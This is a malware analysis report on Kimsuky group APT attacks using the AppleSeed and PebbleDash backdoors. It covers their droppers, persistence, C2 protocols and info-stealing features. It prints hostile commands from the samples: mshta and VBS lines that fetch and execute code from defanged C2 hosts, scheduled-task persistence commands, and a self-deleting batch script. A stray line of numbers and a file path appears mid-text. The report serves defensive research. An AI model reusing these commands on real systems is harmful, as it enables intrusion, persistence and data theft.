name of the distributed file with its content related to the file name. Figure 5. image_confirm_v1.jpg file Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 9 Figure 6. High-frequency transfer switch default performance temperature testing report.hwp Figure 7. News 2021-05-07.pdf file Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 10 Figure 8. 0421.hwp file 1.2. Executable File (pif) For samples distributed in the PIF form, they create and execute malware and normal documents while performing additional malicious behaviors through mstha at the same time. This report will list the analysis information of the Progress Check_211013.pif (aa65c226335539c162a9246bcb7ec415) sample. When the malware is executed, it creates four threads, as shown in Table 1. Each thread has a specialized feature that is summarized in the following table. Thread Behavior Thread 1 Creating and running AppleSeed malware Thread 2 Creating and running normal document file Thread 3 Running mshta for performing additional malicious behaviors Thread 4 Creating and running auto-delete BAT file Table 1. Summary of behavior for each thread Most PIF droppers, including the analysis target sample, install VBS malware using mshta. However, some samples do not follow this pattern. Some samples lack the dropper feature that installs additional malware, while others install certain downloader malware types or malware that adds an RDP account. Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 11 There have also been samples with different internal code configurations that install PebbleDash backdoor instead of AppleSeed. 1.2.1. Thread 1 Thread 1 in the sample creates a folder in the following path and installs AppleSeed. - Path APPDATA\Media - Filename wmi-ui-[random name].db - File Hash cae87921ea508d6c8d8c1de9dd769ae1 The following decryption routine is used, notably utilizing a MMX command. Figure 9. Data decryption routine When the file is decrypted and created, the sample uses the ShellExecuteExW() function to run the malware through regsvr32.exe. - Execution Argument: C:\Windows\system32\regsvr32.exe /s C:\Users\[user name]\AppData\Roaming\Media\wmi-ui-947ef993.db 1.2.2. Thread 2 Thread 2 thread creates and executes the normal document file to trick users into thinking that they have opened an innocuous document file, not a malware. It uses the same algorithm used in Thread 1 during the document creation process to decrypt the data. The normal document created usually uses a name similar to the filename of the distributed malware with contents related to the title. Examples of normal documents are shown in Figure 10. One thing to note is that the file with .h5 extensions use HDF (Hierarchical Data Format) file format, which is not widely used. Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 12 Figure 10. Process Check_211013.pdf file Figure 11. JR_210604_R1_F_Pf.pptx file - (certain strings blurred as ) Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 13 Figure 12. 211014-915mm(0deg).h5 file Figure 13. [ Business Cooperation Agreement] Cooperation (Old 2) 21-001_Cooperation request for tasks related to purchase order for development and purchase incoming inspection process_Purchase Team 2.pdf file Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 14 Figure 14. 2021 Work Report Edited.pdf file Figure 15. 1. 2021 Business Plan (Supplemented by referencing materials from Installation Agency) - 210316-1.hwp file Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 15 Figure 16. 210927 COVID-19 Response (Boryeong-Taean 1)_merged.hwp file Figure 17. ROK-US summit (May 21st) Reference Material (edited).hwp file Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 16 1.2.3. Thread 3 Thread 3 executes scripts using mstha to perform additional malicious behaviors. It executes the following command through the CreateProcessA() function. As for the script malware that is downloaded and executed through mshta.exe, it will be discussed in 1.3. Additional Script. - Command: mshta.exe hxxp://get.seino.p-e[. ]kr/?query5 1.2.4. Thread 4 The thread creates a BAT file with a random name in the TEMP directory and executes it via the CreateProcessW() function. The executed script, which is a command that deletes the created BAT file is shown below. The main thread is configured to be terminated after all additionally created threads are completed. When the malware is terminated, the executed BAT file deletes itself and the BAT script. : goto_redel rd /s /q [executable file name] del [executable file path] if exist [executable file path] goto goto_redel del C:\Users\[user name]\AppData\Local\Temp\[random name].tmp.bat 1.3. Additional Script The PIF dropper malware mentioned earlier installs AppleSeed backdoor to trick users into thinking that they are opening an innocuous document file. Also, it also installs additional external payloads. To do so, it downloads a script through mshta.exe from the third thread and executes it. The downloaded VBS script can send basic information of the infected environment and download additional malware. 1.3.1. Primary Script First, the short VBS script is downloaded through mshta.exe and executed. The code simply requests a certain URL and executes another VBS script received as a response. Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 17 Figure 18. First Script (Deobfuscated) The second script that is run by the script above is a VBS script, consisting of approximately one hundred lines. It steals information about the infected system and sends it to the CC server. A function that can download and execute files is also included, but it may not always be executed depending on the situation. 1.3.2. Secondary Script To collect the information of the infected system, the script first executes the following commands and saves the result as a file MSO2069.acl. hostname systeminfo net user query user route print ipconfig /all arp -a netstat -ano tasklist tasklist /svc The file is encoded with certutil.exe that is a default Windows program and saved as a file with the name MSO2079.acl, which is then sent to the CC server. The data sent takes a disguise of something similar to a certificate to bypass detection as shown in Figure 19. Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 18 Figure 19. Example of packet content that is sent to C2 server Afterward, the script registers the following two commands to the task scheduler. cmd /c schtasks /Create /SC minute /MO 20 /TN GoogleCache /TR wscript //e:vbscript //b C:\ProgramData\Chrome\.NetFramework.xml /f cmd /c schtasks /Create /SC minute /MO 1 /TN GoogleUpdate /TR regsvr32 /s C:\ProgramData\Chrome\update.cfg /f The content of the .NetFramework.xml file that is created by the script is shown below. It accesses a particular URL and executes the script that is sent in response. On Error Resume Next:Set sztnfpcgijjomecl CreateObject(MSXML2.ServerXMLHTTP.6.0):sztnfpcgijjomecl.open POST, hxxp://get.seino.p- e[. ]kr/index.php?query6, False:sztnfpcgijjomecl. Send:Execute(sztnfpcgijjomecl.responseText): The script that was downloaded during the analysis is a code that forcibly terminates the mshta.exe process that is currently being executed as shown below. Set WShellCreateObject(WScript. Shell):retuWShell.run(cmd /c taskkill /im mshta.exe /f , 0 ,true) In essence, one task downloads an additional script from external sources and executes it. The other task executes a file in a certain path using regsvr32. If the attacker responds with a script that installs additional malware files in the C:\ProgramData\Chrome\update.cfg path instead of the auto-termination script, the additional malware will be executed by the second task scheduler. 2. Analysis of Downloader Malware As mentioned earlier, there is a downloader malware among those installed by the PIF dropper. This malware operates after being registered to the task scheduler and essentially performs the role of a downloader: periodically accessing the CC server to download and execute additional payloads. Currently, multiple downloader malware types can be checked in AhnLabs ASD infrastructure. They likely Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 19 created malware strains used by the Kimsuky group. Note that according to a report made by S2W LAB, there has been cases of the downloader malware downloading and installing the Meterpreter backdoor in infected environments.1 2.1. Downloader 2.1.1. Install Process As for the analysis sample, when the downloader malware is executed, it first creates the Intel folder in the ALLUSERSPROFILE (ProgramData) folder and copies itself with the name Driverdriver.cfg. Most samples choose ProgramData as the installation folder, but some select APPDATA (\AppData\Roaming) instead. There are also cases of the file name being driver.cfg instead of Driverdriver.cfg. When the copying process is over, the malware executes the file in the copied path using regsvr32.exe. The actual malicious behaviors are performed in the downloader process that is executed following the steps shown above. When the install process is over, the file that is initially executed is auto-deleted. It is a method that uses a batch file and is frequently employed by malware strains that were recently used by the Kimsuky group. Figure 20. Auto-delete Batch file It then checks for concurrent execution using a mutex. The sample for the current analysis uses the following name for the mutex: - Mutex: windows update server real time mui cache The malware uses a unique 8-byte sized random binary data to check whether the system is infected or not. It first scans for the following registry key. If the key does not exist, it creates a random 0x08 byte binary value and uses this value for the registry shown below. The value is used to communicate with the CC server. - Added Registry Key: HKCU\Software\Microsoft\FTP / Use Smtp 1 https://vblocalhost.com/conference/presentations/operation-newton-hi-kimsuky-did-an-appleseed- really-fall-on-newtons-head/ https://vblocalhost.com/conference/presentations/operation-newton-hi-kimsuky-did-an-appleseed-really-fall-on-newtons-head/ https://vblocalhost.com/conference/presentations/operation-newton-hi-kimsuky-did-an-appleseed-really-fall-on-newtons-head/ Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 20 Figure 21. Created registry key The malware registers the following command to the task scheduler so that it executes every 30 minutes. schtasks /create /f /tn Intel\Disk\Volume1 /tr C:\Windows\system32\regsvr32.exe /s C:\ProgramData\Intel\Driverdriver.cfg /sc minute /mo 30 2.1.2. Downloader Behavior The malware uses the HTTP protocol and the following three types of queries to communicate with the CC server. u is the unique identifier that was discussed earlier, and i means a command. p appears to be a secondary parameter, but as the malware has a simple structure, it would not have much significance. - Format: http://[CC URL]/init/image?i[command]u[unique identifier]p[secondary parameter] Query Meaning I Command U Unique Identifier P Secondary Parameter Table 2. Queries used for CC communications Command Type Feature Init Establish connection Ping PING Down Download complete Table 3. Types of commands used The following URL is used when the malware initially connects with the CC server. The 6352db963f367e75 part is the 8-byte binary data that was randomly generated and saved in the registry key converted into a string. - Example: http://[CC URL]/init/image?iinitu6352db963f367e75pya The User-Agent string used to communicate with the CC server is as follows: Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 21 - User-Agent: Mozilla/5.0 (Windows NT 10.0 Win64 x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 The malware then sends a PING query. Up until this part of the process, the data received from the CC server is not used. It seems that this part is a reset process for the sample to send infection status to the CC server and download additional files. - Example: http://[CC URL]/init/image?ipingu6352db963f367e75pwait.. Now the actual downloading begins. The download URL is [random 8-byte string].down as shown below. - Format: http://[CC URL]/init/[Unique Identifier].down - Download URL Example: http://[CC URL]/init/6352db963f367e75.down The downloader downloads files using the URLDownloadToFileW() API without going through any complicated processes. The download path is shown below. The name of the file also has a random value in the cachew[random name].cache format. - Download Path Example: C:\ProgramData\Intel\Driver\cachew-671417171.cache As the downloaded file is encoded with 4-byte Xor, it needs to be additionally decoded. Figure 22. Hard-coded 0x4 Byte Xor key - Xor Key: 96 50 28 44 The decoded malware is executed. As the downloader uses regsvr32.exe upon executing it, the additional payloads likely only exist as DLLs. After the process is over, the result is sent to the CC server using the example URL shown below. - Example: http://[CC URL]/init/image?idownu6352db963f367e75pya 3. Analysis of AppleSeed Among types of malware installed through the script malware or PIF dropper, there is a backdoor called AppleSeed. It performs commands it received from the attacker via the CC server and sends the result back. It also includes features, such as a downloader that installs additional malware strains, performs keylogging and screenshots, and steals information by collecting files from the user system. Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 22 The malware is mainly divided into two types depending on the CC communications method. Most of them use the HTTP protocol, but some strains communicate with CC through emails. There are also other differences in features. Not every type of AppleSeed is equipped with the info-stealing feature. Some types may only contain basic features of receiving and executing additional malware or commands from the CC server. Among all samples, this report will discuss those that use HTTP or emails to communicate with CC and those that include info-stealing features. Some samples appear to contain binaries built using debug mode by the attacker. As such, one can check the debug messages designated by the developer for each function as shown in Figure 23. Figure 23. Debug message output routine included in function Figure 24. DebugView log The target chosen for the analysis is a sample built in debug mode, the one that can be examined to confirm the developers intention. However, as the discussed samples info-stealing feature is disabled, Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 23 another sample with the feature will be analyzed for the section explaining such feature. As all of the samples use the HTTP protocol, AppleSeed sample that communicates with the CC server via email will be discussed. - Only has default features: 739d14336826d078c40c9580e3396d15 - Possesses additional info-stealing feature: 2cb77491573acc5e8198d8cf68300106 - Communicates with CC via email: dacb71c5eac21b41bb8077fe2e9f5a25 3.1. Analysis of Default Features 3.1.1. Initial Routine Upon execution, AppleSeed first goes through API Resolving in the initialization routine. The names of the API functions that will find the URL are all encoded, and these encoded strings are a trait of AppleSeed. Besides API functions, AppleSeed harbors most of the strings, such as CC URL and User-Agent, in encoded forms as shown in Figure 25. Figure 25. Obfuscation for strings used in AppleSeed The original version of the string that is decoded first (9d99c9fe01bc57d39df2546955a7021a9fe6567457fb001a9dad543755e70258) is kernel32.dll. The string is mainly divided into two parts. The first 16 characters are used as a key for Xor encryption, and the part after the initial 16 characters is the original string that is encrypted and saved. - Xor Key: 9d99 c9fe 01bc 57d3 - Encoded String (Xor Key): 9df2 5469 55a7 021a 9fe6 5674 57fb 001a 9dad 5437 55e7 0258 Note that the Xor encoding method used is not a simple one the following encrypted strings are simultaneously used for the next Xor encoding. ( XorKeyn xor EncStrn-1 ) xor EncStrn ( 0x9d99 xor 0x0000 ) xor 0x9df2 0x006b k ( 0xc9fe xor 0x9df2 ) xor 0x5469 0x0065 e ( 0x01bc xor 0x5469 ) xor 0x55a7 0x0072 r ( 0x57d3 xor 0x55a7 ) xor 0x021a 0x006e n ( 0x9d99 xor 0x021a ) xor 0x9fe6 0x0065 e ( 0xc9fe xor 0x9fe6 ) xor 0x5674 0x006c l ( 0x01bc xor 0x5674 ) xor 0x57fb 0x0033 3 ( 0x57d3 xor 0x57fb ) xor 0x001a 0x0032 2 ( 0x9d99 xor 0x001a ) xor 0x9dad 0x002e . Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 24 ( 0xc9fe xor 0x9dad ) xor 0x5437 0x0064 d ( 0x01bc xor 0x5437 ) xor 0x55e7 0x006c l ( 0x57d3 xor 0x55e7 ) xor 0x0258 0x006c l After API Resolving, the malware finds the settings data. The data is encoded with the same algorithm that was mentioned above. The data found includes the host and path of the CC server, path to install the DLL file, prefix that will be used as PCID, etc. The following is the settings data decoded from the current analysis target sample. Settings Item Decoded String CC URL yes24-mart.pe[. ]hu CC Path /bear Installation Path Software\Microsoft\Windows\Defender PcID Prefix D_Regsvr32 Table 4. AppleSeed settings data 3.1.2. Installation AppleSeed, which is a DLL format, is executed by regsvr32.exe. One of its characteristics is that it is always installed on a certain path. The installation path is usually inside ALLUSERSPROFILE (ProgramData), but some samples are installed inside APPDATA. The current analysis target sample is installed in ALLUSERSPROFILE with the exact path being Software\Microsoft\Windows\Defender (extracted from the settings data shown in Table 4). The name of the installer is AutoUpdate.dll. It copies itself to create a batch file in the ALLUSERSPROFILE\temp\ path with the original being deleted after. The path is later registered to the auto-run registry Run key with the name WindowsDefenderAutoUpdate to allow the file to be executed upon reboot. Figure 26. BAT file used for auto-delete The malware then uses a mutex to check the concurrent execution. The mutex used by the current analysis sample is DropperRegsvr32-20210504113516. As the Export DLL Name is dropper- regsvr32(x86).dll and the DLL has a similar TimeStamp with the date information shown in the mutex name which appears to represent the malwares name that was decided during the development and its creation date. a. Execution Method The sample analyzed above is ultimately executed by being loaded through the regsvr32.exe process. Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 25 But there are samples where the AppleSeed backdoor is loaded and executed by a different process. For instance, the 541fa4fb60690ffbe48b24cd2eeda32e sample is loaded and executed by the explorer.exe process, the Windows Explorer that is currently being executed. It is initially loaded and executed by the regsvr32.exe process, but then it copies itself to the TEMP path and uses the DLL injection technique, shown in Figure 27, to make explorer.exe load AppleSeed. Figure 27. DLL injection technique using CreateRemoteThread() API The method discussed above is a normal DLL injection technique, but there are other techniques as well, such as decoding AppleSeed that takes the form of Reflective DLL Loader and injecting it into explorer.exe. There have also been multiple samples that target Internet Explorer (iexplore.exe) instead of explorer.exe for injection. One sample type (8355964a47f248ed39caccb733aabc44) uses the DLL hijacking technique. It first creates a normal program ALUpdate.exe (639abb6eb9e29b15c61feb7858d2ab40) in the \AppData\Roaming\ESTsoft\Common\ESTUpdate.exe path and copies itself into the same path with the name ko-kr.dll. When the normal program ESTUpdate.exe is executed, DLL is loaded and executed. Figure 28. Execution method using DLL hijacking technique b. Maintain Persistence The sample mentioned in Figure 28 registers the following Run key to maintain persistence. - HKCU\Software\Microsoft\Windows\CurrentVersion\Run WindowsDefenderAutoUpdate regsvr32.exe /s C:\ProgramData\Software\ESTsoft\Common\ESTCommon.dll Besides the Run key, AppleSeed samples such as 4e58ea982e3e95fe7b1bdb480ab9810e may use the RunOnce key to maintain persistence. Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 26 - HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce ESTsoftAutoUpdate regsvr32.exe /s C:\ProgramData\Software\ESTsoft\Common\ESTCommon.dll The samples that employ the DLL hijacking method use the task scheduler to execute ALUpdate.exe program. - schtasks /create /sc minute /mo 10 /tn ESTSoft\EST Software Auto Updater /tr C:\Users\[User Name]\AppData\Roaming\ESTsoft\Common\ESTUpdate.exe /f 3.1.3. Privilege Escalation At this stage, the malware checks if UAC is disabled in the current system. If the following registry keys all have 0 as their values, the sample will consider UAC to be disabled. - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System ConsentPromptBehaviorAdmin - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System PromptOnSecureDesktop When the UAC is disabled and the system does not have the administrator privilege, it executes its own path and regsvr32.exe as executed as administrator. Since UAC is already disabled, privilege escalation becomes possible without the UAC pop-up. For the system that currently has admin privilege, the malware enables the SeDebugPrivilege privilege. 3.1.4. Thread AppleSeed executes thPingCmd which works as the main thread. The thread simply executes two threads in the span of 60 seconds. The first thread is named sendHttpPing, which periodically communicates with the CC server to maintain connection. The second thread is named dropAndRunCmd and performs malicious behaviors by receiving commands from the server. The following table shows the URLs used by AppleSeed to communicate with the CC server. Mode URL Feature ping /?map1[PcID]p2[PcInfo]- [MalwareVersion] Maintaining connection with the CC server Sending command results /?mbp1[PcID]p2a Sending CMD command results Downloading commands /?mcp1[PcID] Downloading commands from the CC server Download complete /?mdp1[PcID] Notifying completion of command download Table 5. List of URLs used m seems to mean mode, with a being used for ping, b for commands, c for downloading commands, and d for completing downloading commands. These are all the URLs used in the sample, Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 27 but more types of URLs are used for the sample with the info-stealing feature enabled, and they will be discussed later when the sample is analyzed. a. sendHttpPing Thread The sendHttpPing thread is excuted every 60 seconds, sending the basic information of the infected system to the CC server. Unlike other communication instances where only the PcID is sent, this thread also sends PcInfo and the malware version like the URL shown below. /?map1[PcID]p2[PcInfo]-[MalwareVersion] The PcID used in this case combines the volume serial number and the user name such as 888a15a5- testUser. PcInfo is a bit more complicated. It is a string that appears to show the Windows version (Major, Minor, and Build) as well as the architecture and the malware version. The malware version is the string D_Regsvr32 that was obtained during the decoding process for previous settings data and the string that was decoded in the current thread 2.0 and 7. Item Format Example PcID [VolumeSerial]-[UserName] 888a15a5-testUser PcInfo Win[MajorVersion].[MinorVersion].
289
[Build][Architecture] Win6.1.7601x86 Malware Version [D_Regsvr32]-v[2.0].
60,546
60,697
152
data/reports_final/0289.txt
[Build][Architecture] Win6.1.7601x86 Malware Version [D_Regsvr32]-v[2.0]. [7] D_Regsvr32-v2.0.7 Table 6. Format used for sending information about infected system - HTTP Figure 29. Process of obtaining PcInfo Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 28 The information is ultimately sent to the CC server with the following URL: /bear/?map1888a15a5-testUserp2Win6.1.7601x86-D_Regsvr32-v2.0.7 b. dropAndRunCmd Thread This thread performs commands that it has received. After requesting the CC server to send commands, it downloads and decrypts them to perform malicious behaviors, then sends back the result. It accesses the CC server using the URL /?mcp1[PcID] and downloads the data that includes commands. The User-Agent string used in the process is as follows: Mozilla/5.0 (Windows NT 10.0 Win64 x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 The downloaded data is saved as a file in the ALLUSERSPROFILE\temp\ path. Unlike average malware strains, AppleSeed saves features that can be processed within the memory as a file. So for every stage, such as downloading commands and unpacking and decrypting files, all the results are saved in the ALLUSERSPROFILE\temp\ path. When the download is finished, the malware accesses the CC server via the URL /?mdp1[PcID] to inform the server that the process has been completed. It is currently not possible to access the server, but it appears that the downloaded data starts with the PDF-1.7..4 0 obj signature. AppleSeed begins the unpacking process after scanning the signature. Figure 30. CRC scan for unpacked file The decryption process follows when the unpacking process is complete. The unpacked data includes the RC4 key encrypted with the RSA public key and the data encrypted with the RC4 key. The malware first decrypts the data saved in the 0x80 size after 0x04 using the RSA (1024) private key included in the binary and obtains the RC4 key based on the data. Then it decrypts the data with the RC4 key to have the command data. Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 29 Figure 31. Decrypted RSA (1024 bit) private key While the command data is not available for download at this moment, it appears that the unpacked data will have the following format based on the uploading process that will be discussed later in this report. Offset Size Data 0x00 0x04 Original size of the encrypted data 0x04 0x80 RC4 key encrypted with the RSA (1024 bit) public key 0x84 Variable Command data encrypted with the RC4 key Table 7. Encrypted command data received from CC server The following table is a list of commands that the current analysis target, AppleSeed, can perform. The command names are based on the string confirmed through the debug message. Command Number Command Name Description 0 CMD Performs command lines received from the CC server and sends results 1 DLL Downloads DLL and executes it with the RegSvr32.exe /s command 2 MemDLL Downloads DLL and executes it in the memory 3 UpdateDLL Updates malware (same as the DLL command) Table 8. CC commands 1 Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 30 Unlike the MemDLL command that loads and executes malware within the memory, DLL and UpdateDLL command download DLL in the file form and execute it with the regsvr32.exe /s command. They are divided into two commands (DLL, UpdateDLL) which are essentially the same. As for the CMD command, it executes the command line that was sent and receives the result through a pipe to save it in the ALLUSERSPROFILE\temp\ path. It then additionally encrypts the saved file before sending it like zip compression or the encryption process discussed above. The command first creates a random RC4 key and encrypts the zip compression file with the RC4 algorithm. The randomly created RC4 key is encrypted with the public key included in the binary. The final data after the encoding process is as follows: Offset Size Data 0x00 0x04 Size of the zip file that will be encrypted 0x04 0x80 RC4 key encrypted with the RSA (1024 bit) public key 0x84 Variable Command data encrypted with the RC4 key Table 9. Encrypted stolen information sent to CC server Figure 32. RSA (1024 bit) public key used to encrypt attachment The compressed and encrypted data is attached to the POST request and sent as the following URL: /?mbp1[PcID]p2a 3.2. Analysis of Info-stealing Feature While the sample discussed earlier is a simple malware without the info-stealing feature, the same cannot be said for other AppleSeed samples. Those with functional info-stealing feature can receive additional commands from the CC server and perform them. The following table provides an overview on the info- stealing feature and routines for performing additional commands. AppleSeed samples with functional info-stealing feature use more URLs than those mentioned above. Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 31 The following shows the entire URLs used with an explanation for each case. Mode URL Feature ping /?map1[PcID]p2[PcInfo]- [MalwareVersion] Maintaining connection with the CC server Sending command results /?mbp1[PcID]p2a Sending CMD command results /?mbp1[PcID]p2b Stealing designated file /?mbp1[PcID]p2b Stealing document files from a certain path /?mbp1[PcID]p2b Stealing file list information within the USB drive /?mbp1[PcID]p2c Stealing captured screenshots /?mbp1[PcID]p2d Stealing keylogging data Downloading commands /?mcp1[PcID] Downloading commands from the CC server Download complete /?mdp1[PcID] Notifying completion of command download Table 10. List of URLs used 3.2.1. Information Theft Starting from the installation, the sample proves that its different by creating the flags folder and flag files before copying and running the file in the installation path. Each flag file contains a Unicode string flag. At the info-stealing routine, the sample checks each flag and steals information from each existing flag. The stolen data is then sent to the CC server after being encrypted and compressed with zip. Flag File Meaning FolderMonitor Stealing document files KeyboardMonitor Keylogging ScreenMonitor Taking screenshots UsbMonitor Stealing file list information of USB Table 11. List of flag files Figure 33. Flag files within flags folder Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 32 a. Keylogging This is enabled if the KeyboardMonitor flag file exists within the flags folder. The keylogged data is saved as the log.text file within the cache folder in the installation path. It is compressed and encrypted along with other stolen data and sent to the CC server. Figure 34. log.txt file that stores keylogging data b. Taking Screenshots This is enabled if the ScreenMonitor flag file exists within the flags folder. The malware takes a screenshot of the current screen and saves it in the ALLUSERSPROFILE\temp\ path as a jpg file. The file is sent to the CC server after being compressed and encrypted. Figure 35. Screenshot saved as jpg file c. Stealing Document Files This is enabled if the FolderMonitor flag file exists within the flags folder. The malware collects document files (e.g. .txt, .hwp, .pdf, .doc, .xls, and .ppt) that exist within Desktop, Downloads, Documents, and LOCALAPPDATA\Microsoft\Windows\INetCache\IE folders, then sends them to the CC server after compressing and encrypting them. Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 33 Figure 36. Routine for checking extensions of files that will be stolen d. Stealing File List of USB This is enabled if the UsbMonitor flag file exists within the flags folder. The malware finds a USB drive in the current system and obtains the list of files within the USB via the following dir command. The obtained text format data is also compressed and encrypted before being sent to the CC server. cmd /s dir [drive name]:\ /s Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 34 Figure 37. List of files within USB drive 3.2.2. Additional Commands Samples with the info-stealing feature enabled have 3 additional commands that can be performed after receiving them from the CC server. The commands are as follows: Command Number Command Name Description d Upload Setting target files to be stolen e EditFlag Enable or disable flag f FileDownload Saving files received in a certain path Table 12. CC commands 2 a. Setting Target Files to be Stolen Besides 4 monitor threads, AppleSeed has an additional thread that was not mentioned earlier. It periodically reads the list.fdb file that exists in the installation path, and if the file contains the pathname of a certain file, it compresses and encrypts the file in the path to send it to the CC server. The d command writes the received pathname into the list.fdb file, and if the attacker wishes to steal a certain file, they can send the file path through the d command to upload it to their server. Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 35 The URL used to upload files from the thread is the same as the one that is used to steal document files and USB drive file list as shown below. /?mbp1[PcID]p2b b. Setting Flags When the sample is initially installed, it enables 4 flags: FolderMonitor, KeyboardMonitor, ScreenMonitor, and UsbMonitor. The e command enables or disables each flag depending on the received data. When enabling, a file with the same name is created for each flag, and when disabling, the files are deleted. c. Downloading Files A command for downloading files to create the received data in a certain path. 3.3. CC Communication Using Emails In terms of overall features, AppleSeed samples that use email for CC communications are not much different from the sample discussed in the 3.1 Analysis of Default Features in this report. However, one difference is that the samples use email protocols instead of HTTP during the CC communications process. As such, the CC communications via emails will be analyzed in detail. Like the sample with default features from the 3.1.4. Thread part, AppleSeed utilizing email creates 2 main threads. They can be categorized as Ping thread and Command thread respectively, using email protocol to communicate with the CC server. The email address and password of the attacker are encoded and saved within the file. Email Address Password k1-tomedaum[. ]net cfzF - (Certain strings blurred as ) Table 13. Information of attackers email The attacker used the curl open source2 to communicate with the CC server using an email. The 2 main threads created by the Email AppleSeed sample can be divided into a thread that uses the IMAP protocol and a thread that uses the SMTP protocol based on their roles. The Ping thread defined in the 3.1. Analysis of Default Features part uses the SMTP protocol as its role is to send the information of the current system to the attackers email. The Command thread uses the IMAP protocol since it receives additional malicious data from the attackers email. Protocol Server Related Thread smtps://smtp.daum[. ]net:465 Ping Thread imaps://imap.daum[. ]net:993 Command Thread Table 14. Protocol usage type for each thread 2 https://github.com/curl/curl https://github.com/curl/curl Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 36 3.3.1. Ping Thread (SMTP) The sendHttpPing thread operates every 5 minutes. While it operates, it periodically sends the basic information of the infected system to the attackers email. The name of the email sent to the attacker takes the form of history yyyy-mm-dd_hh-mm-ss-sss. Note that the results shown below are based on a test account and not the actual address used by the attacker. Figure 38. Title of email sent from Ping thread Figure 39. Content of email sent from Ping thread (test account used) Item Format Time [yyyy-mm-dd_hh-mm-ss-sss] Volume Serial Number [VolumeSerialNumber] PcInfo Win[MajorVersion].[MinorVersion]. [Build][Architecture] Malware Version [D_Regsvr32]\nnv[2.0]\nn[7] Table 15. Format used for sending information about the infected system - Email 3.3.2. Command Thread (IMAP) This thread is executed every 30 seconds. It checks if there is an email mailbox named cmd in the attackers email account and downloads additional malware through the emails attachments. As the attackers email account cannot currently be accessed, it is not certain what types of malicious files exist. 5. Post Infection section of this report will discuss additionally installed malware strains identified by AhnLab ASD infrastructure. Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 37 Figure 40. cmd mailbox used for distributing additional malware (cmd mailbox created for test purpose) The attacker uses the IMAP feature of the curl open source to download additional malware from the email server. After going through the IMAP reset process, the thread sends the select cmd command to check if the mailbox named cmd exists. Figure 41. Transmission code for IMAP command that checks cmd mailbox If the mailbox named cmd exists, the thread saves the attached file in the ALLUSERSPROFILE\temp path with the name [random 4 characters].tmp after going through the parsing process. Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 38 Figure 42. Receiving email with attached file After saving the attached file in the ALLUSERSPROFILE\temp path, the sample uses the STORE 1 Flags \Deleted command to delete the email with the attached file from the mailbox. The process for unpacking and decrypting the file is the same as the content of the dropAndRunCmd thread explained in 3.1 Analysis of Default Features. This means that the sample can perform 4 commands: CMD, DLL, MemDLL, and UpdateDLL. 4. Analysis of PebbleDash PebbleDash, first found in 2016, is a backdoor malware that is known to be used by Lazarus group. PebbleDash is similar to malware strains of NukeSped backdoor used by Lazarus. However, since it was dubbed as PebbleDash in CISA (U.S. Cybersecurity Infrastructure Security Agency) analysis report, this report will also refer it as PebbleDash.3 Most PebbleDash types need a certain argument upon being executed, but there is also a DLL form that is executed after being injected by other malware. Upon being executed for the first time, the malware decrypts the encrypted argument strings used for verification and the list of API functions that it will use. As for its own encrypted settings data, it uses another algorithm to decrypt it. In addition, it disguises itself as a TLS protocol to communicate with the CC server and bypasses network detection by using multiple normal URLs and random data. It only supports basic features, such as stealing basic information and performing commands, and is not equipped with features that backdoors possess (e.g. taking screenshots, keylogging). However, it has a unique feature of re-enabling itself from the disabled state to perform malicious behavior at the occurrence of events such as the system being added with a USB drive or another user logging in through RDP. 3 https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133c https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133c Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 39 Distributed PebbleDash samples have some common characteristics: they require arguments to be executed normally, have encrypted settings data, and have commands they support in common. Note that there are differences between them, and one key difference is that the recent samples use HTTP protocol (WinHTTP) unlike previous ones that used Raw Socket to communicate with CC. Also, while initial samples did not have features for maintaining persistence, current ones are added with the behavior for registering the registry Run key, which allows them to be operated after reboot. PebbleDash samples nowadays are created through the PIF dropper, but in the system already infected with malware such as AppleSeed or PebbleDash, there are also cases of the malware having being downloaded from a certain URL. Malware strains recently used by the Kimsuky group are all DLLs designed to execute via regsvr32.exe. In the latest version of PebbleDash, a command used to execute additional payloads through regsvr32.exe was added. It is noteworthy that the different CC domains used by the PebbleDash sample (created by PIF dropper) and the Kimsuky groups AppleSeed sample were confirmed to share the same IP address. CC IP Sample CC Domain 45.124.66[. ]28 